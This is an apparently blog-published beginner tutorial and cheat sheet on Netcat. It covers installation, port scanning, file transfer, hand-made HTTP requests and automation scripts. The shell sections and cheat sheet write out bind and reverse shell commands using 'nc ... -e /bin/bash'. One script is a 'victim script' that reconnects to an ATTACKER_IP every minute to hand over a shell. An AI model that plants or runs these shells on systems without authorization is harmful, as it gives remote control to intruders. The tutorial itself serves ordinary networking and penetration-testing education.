26:I[10218,["10933","static/chunks/10933-713dc1c0b1561380.js","94937","static/chunks/94937-3f819e5ef7dfa8a0.js","9131","static/chunks/9131-9372417797d59026.js","98244","static/chunks/98244-037342d518451489.js","6342","static/chunks/6342-5661a6a2702af160.js","27689","static/chunks/27689-8d5be78f17754629.js","34877","static/chunks/app/(marketing)/blog/%5Bslug%5D/page-ee27fea45c92c1b5.js"],"BlogComments"] 27:I[19280,["10933","static/chunks/10933-713dc1c0b1561380.js","94937","static/chunks/94937-3f819e5ef7dfa8a0.js","9131","static/chunks/9131-9372417797d59026.js","98244","static/chunks/98244-037342d518451489.js","6342","static/chunks/6342-5661a6a2702af160.js","27689","static/chunks/27689-8d5be78f17754629.js","34877","static/chunks/app/(marketing)/blog/%5Bslug%5D/page-ee27fea45c92c1b5.js"],"BlogSidebar"] 25:Tbd06,

Hey there! We can describe Netcat as a penetration testing tool, or networking Swiss army knife and if you ever dabbled in this field then chances are that sometimes somewhere every pen tester must have used it. It's an incredibly useful tool that has been around for many years and is broadly used for Network Troubleshooting to Security Exploitation.

So, what exactly is Netcat? A network daemon that reads and writes data across network connections using the TCP/IP protocol. It is basically your basic setup for simple connections, file transferring, port scanning, or even some primitive chat systems. Being lightweight, it can be used easily and installed in Linux, Windows, or macOS without any frills.

Why use Netcat? Well, it’s like having a multi-tool in your pocket—except for your network. You can use it to:

Test connectivity and troubleshoot network issues
Scan open ports and identify potential vulnerabilities
Transfer files quickly between devices
Set up basic servers or clients for testing
And yes, even play around with simple hacking techniques (just remember to keep it ethical!)

The best part? You don’t need to be a network pro to get started with Netcat. This article will walk you through the basics, advanced usage, and everything in between, including real-life examples and cheat sheets. By the end, you’ll know exactly how to use Netcat to make your networking tasks quicker and smoother.

Ready to dive in? Let’s get started!

Installation and Setup

Alright, let’s get you up and running with Netcat! The installation process is pretty straightforward, but it varies depending on your operating system. Don’t worry, I’ll guide you through it step by step.

1. Installing Netcat on Linux

Most Linux distributions come with Netcat (or a variant of it) pre-installed, but if it’s not there, you can install it easily using your package manager. Here's how:

For Debian/Ubuntu-based systems:

  sudo apt-get update
  sudo apt-get install netcat

For Red Hat/CentOS-based systems:

  sudo yum install nc

For Arch Linux:

  sudo pacman -S netcat

Just like that, you’ll have Netcat ready to go! To verify it’s installed, type:

nc -h

If it’s installed, you’ll see a list of options and commands.

2. Installing Netcat on Windows

Netcat isn’t built into Windows, but you can still grab a copy and run it. Here’s what to do:

Download Netcat for Windows from a reliable source (like GitHub or other trustworthy software sites).
Extract the files into a folder, and you’re good to go. You might want to add the folder containing nc.exe to your system’s PATH for easy access.

To check if it’s working, open Command Prompt and type:

nc -h

If it displays the Netcat help menu, you’re set!

3. Installing Netcat on macOS

macOS users, you’ve got it easy. If you have Homebrew installed (which you totally should), just run:

brew install netcat

And that’s it! To make sure it’s installed properly, run:

nc -h

If you see the help options, you’re ready to use Netcat.

4. Verifying Netcat Installation

No matter your OS, the final step is to verify the installation. Open your terminal (or Command Prompt on Windows) and type:

nc -h

If you see a list of options like -l, -p, and others, you’re all set! 🎉 You’ve got Netcat installed and ready to use.

Now that we’ve covered installation, let’s move on to some basic commands so you can start exploring what this tool can do!

Basic Netcat Commands

Alright, now that we’ve got Netcat installed, it’s time to dive into some basic commands. Netcat is super versatile, and once you get the hang of it, you’ll be amazed at all the things you can do with just a few keystrokes. Let’s start with some of the fundamental commands and use cases.

1. Checking Connectivity (Port Scanning)

One of the most common uses for Netcat is checking if a specific port on a server is open. This is great for troubleshooting or figuring out if a service is running on a certain port.

Here’s a simple command to scan a port:

nc -zv [hostname/IP] [port]

Example:

  nc -zv 192.168.1.1 80

This command checks if port 80 (HTTP) is open on the IP 192.168.1.1. If it’s open, you’ll get a confirmation message; if it’s closed, you’ll see a connection refused message.

2. Setting Up a Simple Chat

Yep, you read that right—Netcat can be used to set up a basic chat between two devices. All you need is Netcat running on both ends.

On Device 1 (the “server”):

  nc -l -p 1234

This command listens on port 1234 for incoming connections.

On Device 2 (the “client”):

  nc [Device1_IP] 1234

Once connected, anything you type will appear on the other device’s terminal. It’s a neat way to test connectivity and have some fun!

3. Transferring Files Using Netcat

Need to send a file quickly from one device to another? Netcat has got you covered. You can transfer files without any fancy setups—just point, connect, and send!

On the receiving end (Device 1):

  nc -l -p 1234 > received_file.txt

On the sending end (Device 2):

  nc [Device1_IP] 1234 < file_to_send.txt

Once connected, the file will transfer instantly. Just like that, you’ve set up a simple file transfer!

4. Connecting to a Web Server

Did you know you can use Netcat to connect directly to a web server and see what it sends back? It’s a cool way to check server responses.

nc [hostname] 80

After the connection is established, you can type:

GET / HTTP/1.1
Host: [hostname]

Hit Enter twice, and you’ll see the HTML response from the server. It’s like manually crafting your own HTTP request!

5. Sending Data Between Devices

Netcat can also be used to set up a quick data transfer pipe. This is perfect if you need to test how data moves between devices or if you just want to pass simple text back and forth.

On Device 1:

  nc -l -p 1234

On Device 2:

  echo "Hello from Device 2" | nc [Device1_IP] 1234

You’ll see the message pop up on Device 1’s terminal. Easy peasy!

6. Testing Connectivity with Ping-like Behavior

If you want to check if a server is responsive, you can send a simple message and see if you get a response:

echo "ping" | nc -v -w 2 [hostname] [port]

This sends a quick “ping” to the specified port, and if it’s open, you’ll get feedback.

And that’s it for some basic Netcat commands! These are just a few of the ways you can start using Netcat, but there’s so much more to explore.

Advanced Netcat Usage

Alright, now that we’ve covered the basics, let’s dive into some of the more advanced ways you can use Netcat. This is where things get really interesting—whether you want to create a makeshift server, scan for open ports, or even set up a reverse shell, Netcat has you covered.

1. Setting Up a Simple Server

With Netcat, you can quickly set up a basic TCP or UDP server. This is perfect for testing network connections or creating a simple chat service.

To create a server:

  nc -l -p 4444

This sets up a server listening on port 4444. Now, any device connecting to this port will establish a connection, allowing you to send and receive data.

To connect as a client:

  nc [Server_IP] 4444

Once connected, anything you type on either side will be visible to both, just like a basic chat app!

2. Using Netcat as a Port Scanner

Netcat can also act as a lightweight port scanner. You can use it to scan for open ports on a target machine, which is great for network troubleshooting or auditing.

To scan a range of ports:

  nc -zv [target_IP] 20-100

The -z flag tells Netcat to scan ports without sending any data, and -v makes it verbose, showing you open or closed port statuses. This command checks all ports between 20 and 100.

3. Creating Reverse and Bind Shells

This is where Netcat gets a bit more “hacker-ish.” You can use it to create both reverse and bind shells, which are handy for remote management and penetration testing (just make sure you’ve got permission!).

Creating a bind shell (opens a shell on a remote system):
On the remote system: nc -l -p 4444 -e /bin/bash This opens a shell on port 4444 of the remote system.
On your local system: nc [Remote_IP] 4444 Now, you’ve got remote access to the shell.
Creating a reverse shell (useful for connecting back to you):
On your local system: nc -l -p 5555
On the remote system: nc [Your_IP] 5555 -e /bin/bash The remote system will connect back to you, giving you shell access.

Important: Use these techniques responsibly and only in legal, controlled environments!

4. Monitoring Network Traffic

Netcat can act as a basic network traffic sniffer. If you want to capture and display raw data from a network connection, Netcat can help:

nc -l -u -p 9999

This command listens for UDP traffic on port 9999. You can use it to monitor incoming data or troubleshoot specific network issues.

5. File Transfers Over Encrypted Connections

If you want to securely transfer files between systems, you can combine Netcat with openssl for encryption.

On the receiving system:

  openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout mycert.pem -out mycert.pem
  openssl s_server -quiet -accept 4443 -key mycert.pem -cert mycert.pem | nc -l -p 4444 > received_file.txt

On the sending system:

  nc [Receiver_IP] 4444 < file_to_send.txt | openssl s_client -quiet -connect [Receiver_IP]:4443

This setup encrypts the file transfer using SSL, adding a layer of security.

6. Preventing DNS Lookups

By default, Netcat tries to resolve hostnames, but if you want to speed things up or avoid DNS lookups, you can disable this feature with the -n flag.

nc -nv [target_IP] [port]

The -n flag stops Netcat from doing a DNS lookup, and the -v flag gives you a verbose output. This is great for quick scans or connections where you don’t need DNS resolution.

7. Creating HTTP Requests with Netcat

Ever wanted to manually craft an HTTP request to see how a server responds? Netcat lets you do that with a few simple lines:

nc [target_IP] 80

Once connected, type:

GET / HTTP/1.1
Host: [target_domain]

Press Enter twice, and you’ll receive the HTML response. It’s a neat way to test web servers or troubleshoot connectivity issues.

8. Automating with Shell Scripting

Netcat can be easily scripted to automate tasks. For example, you can create a simple script that checks if certain services are up:

#!/bin/bash
for port in 22 80 443; do
  nc -zv 192.168.1.1 $port
done

This script loops through common ports and checks if they’re open on the target IP. It’s a quick way to monitor your network.

And there you have it—some of the more advanced ways to use Netcat! From setting up servers to scanning ports and creating shells, Netcat is a powerful tool when used responsibly.

Netcat Commands Overview

Alright, let’s break down some of the most essential Netcat commands and their options. This overview will give you a quick reference to help you get familiar with Netcat’s capabilities and use it effectively. Whether you're testing connectivity, scanning ports, or setting up servers, these commands will be your go-to tools.

1. Basic Syntax

First, let’s start with the basic syntax for using Netcat:

nc [options] [target_IP] [port]

[options] refers to the various flags you can use to modify Netcat’s behavior.
[target_IP] is the IP address you want to connect to.
[port] is the port number you want to use.

2. Netcat Options and Flags

Here are some common options and flags you’ll use frequently:

-l: Listen mode. This sets up Netcat to listen for incoming connections instead of initiating one.
-p [port]: Specify the port number Netcat should use (e.g., -p 4444).
-v: Verbose mode. It provides detailed output about what Netcat is doing, which is helpful when debugging.
-z: Zero I/O mode (port scanning). This is used when you want to check if a port is open without sending any data.
-n: Skip DNS resolution. This prevents Netcat from trying to resolve hostnames, which speeds things up.
-e [program]: Executes a program after a connection is established (e.g., using /bin/bash for a shell).

3. Port Scanning with Netcat

Netcat can be used to scan ports quickly and efficiently. Here’s how you do it:

Scan a single port:

  nc -zv [target_IP] [port]

Example:

  nc -zv 192.168.1.1 22

Scan a range of ports:

  nc -zv [target_IP] [start_port]-[end_port]

Example:

  nc -zv 192.168.1.1 20-80

This will check which ports are open within the specified range. It’s a fast way to see if services are running.

4. Setting Up a Simple Server or Client

Netcat is great for quickly setting up servers or connecting as a client:

Listen as a server:

  nc -l -p [port]

Example:

  nc -l -p 1234

Connect as a client:

  nc [target_IP] [port]

Example:

  nc 192.168.1.1 1234

Once connected, you can exchange messages, making it useful for testing or basic chatting.

5. Verbose Scanning with Netcat

For more detailed output when scanning, you can use the -v flag. This shows each connection attempt and whether it was successful:

nc -zv [target_IP] [port]

Adding -v gives you feedback on every port scan attempt, so you know exactly what’s open and what’s not.

6. HTTP Requests with Netcat

Manually testing web servers is easy with Netcat. Just connect to port 80 (or 443 for HTTPS), and craft an HTTP request:

nc [target_domain] 80

Type:

GET / HTTP/1.1
Host: [target_domain]

Press Enter twice, and Netcat will return the server’s response. This is great for checking if a web server is responding correctly.

7. TCP Server and TCP Client Commands

Netcat supports TCP connections for both servers and clients:

TCP Server:

  nc -l -p [port]

This command sets up a simple TCP server that listens on the specified port.

TCP Client:

  nc [target_IP] [port]

Use this command to connect to a TCP server. It’s an easy way to test connectivity or interact with remote systems.

8. Preventing DNS Lookups

If you don’t want Netcat to resolve DNS (which can slow things down), use the -n flag:

nc -nv [target_IP] [port]

This will skip the DNS lookup, making your connection attempt faster.

9. Launching Reverse and Bind Shells

Netcat is commonly used to create reverse and bind shells for remote access:

Bind Shell (opens a shell on the remote machine):

  nc -l -p [port] -e /bin/bash

Reverse Shell (connects back to you):

  nc [your_IP] [port] -e /bin/bash

Note: These commands should only be used in legal, ethical testing environments!

10. Shell Scripting with Netcat

You can script Netcat for automation:

#!/bin/bash
for port in 80 443; do
  nc -zv 192.168.1.1 $port
done

This example checks if ports 80 and 443 are open on the specified IP. It’s a quick way to automate port checks.

This overview gives you a rundown of the essential Netcat commands and flags. Keep it handy as a quick reference when working with Netcat.

Linux TCP/UDP Client & Server Connections using Netcat

Here is a quick tutorial on simulating UDP and TCP connections on a Linux terminal using Netcat (NCat). Netcat package comes bundled with the famous Linux port scanning tool: NMap.

Setup

Get Netcat by installing NMap.

// for RHEL/CentOS
$ sudo yum install nmap -y

// for Ubuntu/Debian
$ sudo apt-get update
$ sudo apt-get install nmap -y

Next, you can setup one Netcat instance to listen to a certain port either via TCP/UDP transport protocol and setup another Netcat instance to establish a connection to it. Once the connection is established, both instances can send messages to other instances, which will work like a simple chat server and client.

Netcat options

-l: set to listening state which create a simple HTTP server waiting for the incoming connections
-p: define local port
-u: set the UDP mode

UDP

Create a UDP server listening on 30000 port.

$ nc -u -l 30000

On a new terminal tab, run below command to create an instant UDP client communicating with the above server. You can input any simple text, click enter, and see it appearing in the server’s output stream.

$ nc -u localhost 30000

Hello world from client!  <--- this appears in server's output stream too.

TCP

Create a TCP server listening on 31000 port.

$ nc -l 31000

On a new terminal tab, run below command to create an instant TCP client communicating with the above server. You can input any simple text, click enter, and see it appearing in the server’s output stream.

$ nc localhost 31000

Hello world from client!  <--- this appears in server's output stream too.

Verify

Run netstat to verify the established connections.

// TCP
$ netstat -nat | grep 31000

// UDP
$ netstat -nau | grep 30000

Netstat options

-v: enable verbose logs
-n: show numeric host, port or user names
-a: show both listening and non-listening (for TCP this means established connections) sockets

✅ Tested OS's	: RHEL 7+, CentOS 7+, Ubuntu 18.04+, Debian 8+
✅ Tested Gear	: Cloud (AWS EC2), On-Prem (Bare Metal)

HTTP Requests with Netcat

Netcat isn’t just for port scanning or file transfers; you can also use it to manually interact with web servers and craft your own HTTP requests. This is super useful for testing server responses, troubleshooting issues, or just understanding how HTTP works at a lower level. Let’s dive into how you can use Netcat to send HTTP requests and see what a server sends back.

1. Connecting to a Web Server

The first step is to connect to the web server you want to interact with. Most web servers listen for HTTP requests on port 80 (for HTTP) or 443 (for HTTPS). In this example, we'll use port 80 for simplicity:

nc [hostname] 80

Replace [hostname] with the domain or IP address of the web server (e.g., example.com).

2. Crafting an HTTP GET Request

Once connected, you can manually enter an HTTP GET request to fetch the homepage or any specific path. Here’s how to structure your request:

GET / HTTP/1.1
Host: [hostname]

GET / HTTP/1.1: This line tells the server that you want to fetch the root path (/) using HTTP version 1.1.
Host: [hostname]: This specifies the host you’re targeting (e.g., example.com). This is important in HTTP/1.1 to differentiate between multiple domains hosted on the same server.

After typing these lines, press Enter twice. The double Enter acts as the end of the HTTP headers and signals the server to process the request.

3. Interpreting the Server’s Response

If everything went well, you’ll receive a response from the server that looks something like this:

HTTP/1.1 200 OK
Date: Sat, 14 Oct 2024 10:00:00 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 478

<!DOCTYPE html>
<html>
<head>
<title>Example Domain</title>
...

HTTP/1.1 200 OK: This indicates that the request was successful, and the server is returning a response with a status code of 200.
Headers: The lines that follow contain metadata about the response, like the content type (text/html), the date, and the content length.
Body: After the headers, you’ll see the HTML content of the page.

You’ve just manually requested a webpage and received its HTML response—how cool is that?

4. Making HTTP POST Requests

Netcat can also handle POST requests if you need to send data to the server (like submitting a form). Here's how you can structure a POST request:

nc [hostname] 80

And then type:

POST /submit-form HTTP/1.1
Host: [hostname]
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]

param1=value1&param2=value2

POST /submit-form HTTP/1.1: This line tells the server you want to POST data to /submit-form.
Content-Type: Specifies the type of data you’re sending (in this case, form data).
Content-Length: The length of your data in bytes. Calculate this based on the data you’ll send (param1=value1&param2=value2).
Data: Finally, provide the data you want to send (e.g., form values). Make sure to press Enter twice after the data to signal the end of the request.

5. Testing Server Headers and Responses

You can use Netcat to test how a server responds to specific HTTP headers. For example, if you want to check for User-Agent handling or see how the server responds to a custom header:

nc [hostname] 80

Then:

GET / HTTP/1.1
Host: [hostname]
User-Agent: MyNetcatClient/1.0

This allows you to customize the request and see how the server behaves when different headers are used. It’s perfect for debugging and testing web applications.

6. HTTPS Requests

If you need to make an HTTPS request (port 443), Netcat alone won’t work since HTTPS is encrypted. However, you can pair Netcat with OpenSSL to send HTTPS requests:

openssl s_client -connect [hostname]:443

Once connected, you can craft your HTTP request just like before:

GET / HTTP/1.1
Host: [hostname]

This sends an HTTPS request through an encrypted connection, and you’ll see the server’s response.

Shell Scripting and Automation with Netcat

Netcat isn’t just a handy tool for manual operations—it also shines when you integrate it into scripts for automation. Whether you’re monitoring network services, automating file transfers, or testing connectivity, combining Netcat with shell scripting can make your network tasks faster and more efficient. Let’s explore some practical examples of how you can automate tasks using Netcat.

1. Automating Port Scanning

You can automate port scanning with Netcat to regularly check if certain ports are open on a target machine. This is great for monitoring services or ensuring that your web server or database is running.

Example Script:

#!/bin/bash

TARGET="192.168.1.1"
PORTS=(22 80 443)

for PORT in "${PORTS[@]}"; do
  nc -zv $TARGET $PORT &> /dev/null
  if [ $? -eq 0 ]; then
    echo "Port $PORT on $TARGET is open."
  else
    echo "Port $PORT on $TARGET is closed."
  fi
done

Explanation:
The script loops through the ports (22, 80, 443) and uses Netcat to check if they are open.
The -zv flag tells Netcat to perform a scan (-z) and give verbose output (-v).
The &> /dev/null redirects all output to /dev/null to keep it clean.
The script then checks Netcat’s exit status ($?) to determine if the port is open or closed.

This script can be scheduled using cron to run periodically and notify you if any important service goes down.

2. Automated File Transfers

Need to automate file transfers between two systems? Netcat can help you set up a simple, automated transfer script.

Sender Script:

#!/bin/bash

FILE_TO_SEND="/path/to/file.txt"
TARGET_IP="192.168.1.2"
PORT=1234

cat $FILE_TO_SEND | nc $TARGET_IP $PORT

Receiver Script:

#!/bin/bash

PORT=1234
OUTPUT_FILE="/path/to/received_file.txt"

nc -l -p $PORT > $OUTPUT_FILE

Explanation:
The receiver script listens on a specified port (1234) and writes incoming data to received_file.txt.
The sender script reads the file and pipes it to Netcat, which sends it over to the receiver.

Combine these scripts with a cron job or other scheduling tools to automate the transfer whenever needed.

3. Network Health Monitoring

Netcat can be used in scripts to ping multiple servers and check if they are responding. This is useful for creating a simple network health monitor.

Example Script:

#!/bin/bash

SERVERS=("192.168.1.1" "192.168.1.2" "192.168.1.3")
PORT=80

for SERVER in "${SERVERS[@]}"; do
  nc -zv $SERVER $PORT &> /dev/null
  if [ $? -eq 0 ]; then
    echo "Server $SERVER is up."
  else
    echo "Server $SERVER is down."
  fi
done

This script iterates through a list of servers and uses Netcat to check if port 80 (HTTP) is open.
It’s an efficient way to automate network checks and quickly identify any issues.

4. Launching Reverse Shells Automatically

In penetration testing (with proper authorization!), you may want to automate reverse shell creation. Here’s how you can script that process:

Victim Script (to run on the target machine):

#!/bin/bash

ATTACKER_IP="192.168.1.10"
PORT=5555

while true; do
  nc $ATTACKER_IP $PORT -e /bin/bash
  sleep 60
done

Explanation:
The script attempts to connect back to the attacker’s IP every minute. If it fails, it waits (sleep 60) and tries again.
The -e /bin/bash executes a shell upon connection, providing remote access.

Warning: This kind of script should only be used in ethical, legal testing environments. Misuse could have serious consequences!

5. Logging Server Responses

You can create a simple script that logs server responses to check how a web server behaves over time.

Example Script:

#!/bin/bash

SERVER="example.com"
PORT=80
LOGFILE="/path/to/server_log.txt"

echo "Connecting to $SERVER on port $PORT..." >> $LOGFILE
echo "GET / HTTP/1.1" | nc $SERVER $PORT >> $LOGFILE
echo "Request sent at $(date)" >> $LOGFILE

This script sends an HTTP GET request to the server and logs the response along with the timestamp.
It’s a great way to keep track of server uptime and behavior.

6. Automating Netcat as a Backup Tool

Netcat can be combined with tools like tar to automate backups and send them over the network.

Backup and Transfer Script:

#!/bin/bash

TARGET_IP="192.168.1.2"
PORT=4444
DIRECTORY_TO_BACKUP="/path/to/directory"

tar -czf - $DIRECTORY_TO_BACKUP | nc $TARGET_IP $PORT

Receiving Script:

#!/bin/bash

PORT=4444
OUTPUT_FILE="/path/to/backup.tar.gz"

nc -l -p $PORT > $OUTPUT_FILE

The backup script compresses the directory and sends it over to the target IP.
The receiver script listens for incoming data and saves the compressed backup.

You can automate this with a cron job to create daily or weekly backups, ensuring your data is always saved.

Downloadable Netcat Cheat Sheet

Here’s your quick-reference cheat sheet for Netcat! This guide covers all the essential commands and options you’ll need to use Netcat efficiently. And for a more detailed, printable version, you can download it for free from Codelivly’s Gumroad.

Basic Netcat Commands

Command	Description
`nc -l -p [port]`	Listen on a specific port.
`nc [hostname] [port]`	Connect to a hostname or IP on a specific port.
`nc -zv [hostname] [port]`	Port scan a specific port (verbose mode).
`nc -l -p [port] > file.txt`	Receive a file and save it locally.
`nc [hostname] [port] < file`	Send a file to a connected host.

Port Scanning with Netcat

Command	Description
`nc -zv [hostname] [port]`	Scan a specific port.
`nc -zv [hostname] [start_port]-[end_port]`	Scan a range of ports.

Creating Servers and Clients

Command	Description
`nc -l -p [port]`	Set up a simple TCP server.
`nc [hostname] [port]`	Connect as a TCP client.
`nc -l -u -p [port]`	Set up a simple UDP server.
`nc -u [hostname] [port]`	Connect as a UDP client.

HTTP Requests

Command	Description
`nc [hostname] 80`	Connect to a web server on port 80.
`GET / HTTP/1.1`	Craft a manual HTTP GET request (press Enter twice).

File Transfers

Command	Description
`nc -l -p [port] > file.txt`	Receive a file on a specific port.
`nc [hostname] [port] < file`	Send a file over a specific port.

Reverse and Bind Shells

Command	Description
`nc -l -p [port] -e /bin/bash`	Set up a bind shell on the remote machine.
`nc [your_IP] [port] -e /bin/bash`	Set up a reverse shell to connect back to your IP.

Warning: Always use these commands in authorized and legal environments only.

Options and Flags

Flag	Description
`-l`	Listen mode (acts as a server).
`-p [port]`	Specify a port to listen on or connect to.
`-v`	Verbose mode (provides detailed output).
`-z`	Zero I/O mode (for scanning ports).
`-n`	Do not resolve DNS.
`-e [program]`	Execute a program upon connection (e.g., `/bin/bash`).

Additional Tips

Prevent DNS Lookup: Use -n to skip DNS resolution and speed up connections.
Verbose Mode: Combine -v with other commands to get detailed feedback on what Netcat is doing.
HTTP Testing: Use Netcat to manually craft HTTP requests and test server responses.
Automate with Shell Scripts: Pair Netcat with scripts for port scanning, file transfers, and more!

For a full downloadable version, complete with examples and more detailed breakdowns, head over to Codelivly’s Gumroad to download your free Netcat cheat sheet!

Join our community on Telegram to connect with like-minded individuals, share knowledge, and get the latest updates in programming, cybersecurity, and tech! 🚀

Looking for free resources to boost your learning? Visit the Codelivly eStore for exclusive downloads, cheat sheets, and other valuable content—available for free! 🎉

20:["$","div",null,{"className":"blog-prose text-base leading-relaxed text-[var(--hm-text)]","children":["$","div",null,{"dangerouslySetInnerHTML":{"__html":"$25"}}]}] 22:["$","$L26",null,{"slug":"how-to-use-netcat-commands-examples-and-cheat-sheets"}] 23:["$","$L27",null,{"promos":[],"latest":[{"slug":"how-to-become-a-soc-analyst-without-a-degree","title":"How to Become a SOC Analyst Without a Degree (2026 Guide)","featuredImage":"/uploads/2026/general/1784639602532-worqqx.webp"},{"slug":"social-engineering-attack-life-cycle-the-art-of-human-hacking","title":"Social Engineering Attack Life Cycle: The Art of Human Hacking","featuredImage":null},{"slug":"best-beginner-javascript-projects-for-hacking","title":"Best Beginner JavaScript Projects for Hacking (2026 Guide)","featuredImage":"https://codelivly.com/wp-content/uploads/2026/02/javascript-for-hacking.jpg"},{"slug":"what-is-a-security-operations-center","title":"What Is a Security Operations Center (SOC)?","featuredImage":null},{"slug":"owasp-top-10-explained-beginners","title":"OWASP Top 10 Explained for Beginners","featuredImage":null}]}] 28:T491,[{"@context":"https://schema.org","@type":"TechArticle","headline":"How to Use Netcat Commands: Examples and Cheat Sheets","description":"Hey there! We can describe Netcat as a penetration testing tool, or networking Swiss army knife and if you ever dabbled in this field then chances are that sometimes somewhere every pen tester must ha","image":"https://codelivly.com/wp-content/uploads/2024/10/1535818681336.png","url":"https://codelivly.com/how-to-use-netcat-commands-examples-and-cheat-sheets","datePublished":"2024-10-20T05:52:32.000Z","dateModified":"2024-10-20T05:52:36.000Z","wordCount":7360,"author":{"@type":"Person","name":"rocky"},"publisher":{"@type":"Organization","@id":"https://codelivly.com/#organization","name":"Codelivly"}},{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://codelivly.com"},{"@type":"ListItem","position":2,"name":"Blog","item":"https://codelivly.com/blog"},{"@type":"ListItem","position":3,"name":"How to Use Netcat Commands: Examples and Cheat Sheets","item":"https://codelivly.com/how-to-use-netcat-commands-examples-and-cheat-sheets"}]}]1e:["$","script",null,{"type":"application/ld+json","nonce":"fh0Bsrzcb4YW8ZYFU0IgLA==","dangerouslySetInnerHTML":{"__html":"$28"}}]